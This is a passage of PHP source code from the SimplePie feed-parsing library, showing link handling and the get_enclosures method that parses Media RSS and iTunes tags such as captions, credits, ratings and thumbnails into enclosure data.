                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                }
            }
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href'])) {
                    $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                    $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                }
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') {
                    $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
                }
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }
        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * Get an enclosure from the item
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * @since Beta 2
     * @todo Add ability to prefer one type of content over another (in a media group).
     * @param int $key The enclosure that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Enclosure|null
     */
    public function get_enclosure($key = 0, $prefer = null)
    {
        $enclosures = $this->get_enclosures();
        if (isset($enclosures[$key])) {
            return $enclosures[$key];
        }

        return null;
    }

    /**
     * Get all available enclosures (podcasts, etc.)
     *
     * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
     *
     * At this point, we're pretty much assuming that all enclosures for an item
     * are the same content.  Anything else is too complicated to
     * properly support.
     *
     * @since Beta 2
     * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
     * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
     * @return \SimplePie\Enclosure[]|null List of \SimplePie\Enclosure items
     */
    public function get_enclosures()
    {
        if (!isset($this->data['enclosures'])) {
            $this->data['enclosures'] = [];

            // Elements
            $captions_parent = null;
            $categories_parent = null;
            $copyrights_parent = null;
            $credits_parent = null;
            $description_parent = null;
            $duration_parent = null;
            $hashes_parent = null;
            $keywords_parent = null;
            $player_parent = null;
            $ratings_parent = null;
            $restrictions_parent = null;
            $thumbnails_parent = null;
            $title_parent = null;

            // Let's do the channel and item-level ones first, and just re-use them if we need to.
            $parent = $this->get_feed();

            // CAPTIONS
            if ($captions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            } elseif ($captions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) {
                foreach ($captions as $caption) {
                    $caption_type = null;
                    $caption_lang = null;
                    $caption_startTime = null;
                    $caption_endTime = null;
                    $caption_text = null;
                    if (isset($caption['attribs']['']['type'])) {
                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['lang'])) {
                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['start'])) {
                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['attribs']['']['end'])) {
                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($caption['data'])) {
                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $captions_parent[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                }
            }
            if (is_array($captions_parent)) {
                $captions_parent = array_values(array_unique($captions_parent));
            }

            // CATEGORIES
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) {
                $term = null;
                $scheme = null;
                $label = null;
                if (isset($category['data'])) {
                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($category['attribs']['']['scheme'])) {
                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                } else {
                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                }
                if (isset($category['attribs']['']['label'])) {
                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
            }
            foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'category') as $category) {
                $term = null;
                $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
                $label = null;
                if (isset($category['attribs']['']['text'])) {
                    $label = $this->sanitize($category['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);

                if (isset($category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'])) {
                    foreach ((array) $category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'] as $subcategory) {
                        if (isset($subcategory['attribs']['']['text'])) {
                            $label = $this->sanitize($subcategory['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        $categories_parent[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                    }
                }
            }
            if (is_array($categories_parent)) {
                $categories_parent = array_values(array_unique($categories_parent));
            }

            // COPYRIGHT
            if ($copyright = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            } elseif ($copyright = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) {
                $copyright_url = null;
                $copyright_label = null;
                if (isset($copyright[0]['attribs']['']['url'])) {
                    $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                if (isset($copyright[0]['data'])) {
                    $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
                $copyrights_parent = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
            }

            // CREDITS
            if ($credits = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            } elseif ($credits = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) {
                foreach ($credits as $credit) {
                    $credit_role = null;
                    $credit_scheme = null;
                    $credit_name = null;
                    if (isset($credit['attribs']['']['role'])) {
                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($credit['attribs']['']['scheme'])) {
                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $credit_scheme = 'urn:ebu';
                    }
                    if (isset($credit['data'])) {
                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $credits_parent[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                }
            }
            if (is_array($credits_parent)) {
                $credits_parent = array_values(array_unique($credits_parent));
            }

            // DESCRIPTION
            if ($description_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($description_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) {
                if (isset($description_parent[0]['data'])) {
                    $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // DURATION
            if ($duration_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'duration')) {
                $seconds = null;
                $minutes = null;
                $hours = null;
                if (isset($duration_parent[0]['data'])) {
                    $temp = explode(':', $this->sanitize($duration_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    if (sizeof($temp) > 0) {
                        $seconds = (int) array_pop($temp);
                    }
                    if (sizeof($temp) > 0) {
                        $minutes = (int) array_pop($temp);
                        $seconds += $minutes * 60;
                    }
                    if (sizeof($temp) > 0) {
                        $hours = (int) array_pop($temp);
                        $seconds += $hours * 3600;
                    }
                    unset($temp);
                    $duration_parent = $seconds;
                }
            }

            // HASHES
            if ($hashes_iterator = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            } elseif ($hashes_iterator = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) {
                foreach ($hashes_iterator as $hash) {
                    $value = null;
                    $algo = null;
                    if (isset($hash['data'])) {
                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($hash['attribs']['']['algo'])) {
                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $algo = 'md5';
                    }
                    $hashes_parent[] = $algo.':'.$value;
                }
            }
            if (is_array($hashes_parent)) {
                $hashes_parent = array_values(array_unique($hashes_parent));
            }

            // KEYWORDS
            if ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) {
                if (isset($keywords[0]['data'])) {
                    $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                    foreach ($temp as $word) {
                        $keywords_parent[] = trim($word);
                    }
                }
                unset($temp);
            }
            if (is_array($keywords_parent)) {
                $keywords_parent = array_values(array_unique($keywords_parent));
            }

            // PLAYER
            if ($player_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                }
            } elseif ($player_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) {
                if (isset($player_parent[0]['attribs']['']['url'])) {
                    $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                }
            }

            // RATINGS
            if ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = null;
                    $rating_value = null;
                    if (isset($rating['attribs']['']['scheme'])) {
                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $rating_scheme = 'urn:simple';
                    }
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) {
                foreach ($ratings as $rating) {
                    $rating_scheme = 'urn:itunes';
                    $rating_value = null;
                    if (isset($rating['data'])) {
                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $ratings_parent[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                }
            }
            if (is_array($ratings_parent)) {
                $ratings_parent = array_values(array_unique($ratings_parent));
            }

            // RESTRICTIONS
            if ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = 'allow';
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = 'deny';
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = null;
                    $restriction_type = null;
                    $restriction_value = null;
                    if (isset($restriction['attribs']['']['relationship'])) {
                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['attribs']['']['type'])) {
                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($restriction['data'])) {
                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) {
                foreach ($restrictions as $restriction) {
                    $restriction_relationship = 'allow';
                    $restriction_type = null;
                    $restriction_value = 'itunes';
                    if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') {
                        $restriction_relationship = 'deny';
                    }
                    $restrictions_parent[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                }
            }
            if (is_array($restrictions_parent)) {
                $restrictions_parent = array_values(array_unique($restrictions_parent));
            } else {
                $restrictions_parent = [new \SimplePie\Restriction('allow', null, 'default')];
            }

            // THUMBNAILS
            if ($thumbnails = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                    }
                }
            } elseif ($thumbnails = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                foreach ($thumbnails as $thumbnail) {
                    if (isset($thumbnail['attribs']['']['url'])) {
                        $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                    }
                }
            }

            // TITLES
            if ($title_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            } elseif ($title_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) {
                if (isset($title_parent[0]['data'])) {
                    $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                }
            }

            // Clear the memory
            unset($parent);

            // Attributes
            $bitrate = null;
            $channels = null;
            $duration = null;
            $expression = null;
            $framerate = null;
            $height = null;
            $javascript = null;
            $lang = null;
            $length = null;
            $medium = null;
            $samplingrate = null;
            $type = null;
            $url = null;
            $width = null;

            // Elements
            $captions = null;
            $categories = null;
            $copyrights = null;
            $credits = null;
            $description = null;
            $hashes = null;
            $keywords = null;
            $player = null;
            $ratings = null;
            $restrictions = null;
            $thumbnails = null;
            $title = null;

            // If we have media:group tags, loop through them.
            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group') as $group) {
                if (isset($group['child']) && isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                    // If we have media:content tags, loop through them.
                    foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                        if (isset($content['attribs']['']['url'])) {
                            // Attributes
                            $bitrate = null;
                            $channels = null;
                            $duration = null;
                            $expression = null;
                            $framerate = null;
                            $height = null;
                            $javascript = null;
                            $lang = null;
                            $length = null;
                            $medium = null;
                            $samplingrate = null;
                            $type = null;
                            $url = null;
                            $width = null;

                            // Elements
                            $captions = null;
                            $categories = null;
                            $copyrights = null;
                            $credits = null;
                            $description = null;
                            $hashes = null;
                            $keywords = null;
                            $player = null;
                            $ratings = null;
                            $restrictions = null;
                            $thumbnails = null;
                            $title = null;

                            // Start checking the attributes of media:content
                            if (isset($content['attribs']['']['bitrate'])) {
                                $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['channels'])) {
                                $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['duration'])) {
                                $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $duration = $duration_parent;
                            }
                            if (isset($content['attribs']['']['expression'])) {
                                $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['framerate'])) {
                                $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['height'])) {
                                $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['lang'])) {
                                $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['fileSize'])) {
                                $length = intval($content['attribs']['']['fileSize']);
                            }
                            if (isset($content['attribs']['']['medium'])) {
                                $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['samplingrate'])) {
                                $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['type'])) {
                                $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['attribs']['']['width'])) {
                                $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);

                            // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                            // CAPTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                    $caption_type = null;
                                    $caption_lang = null;
                                    $caption_startTime = null;
                                    $caption_endTime = null;
                                    $caption_text = null;
                                    if (isset($caption['attribs']['']['type'])) {
                                        $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['lang'])) {
                                        $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['start'])) {
                                        $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['attribs']['']['end'])) {
                                        $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($caption['data'])) {
                                        $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
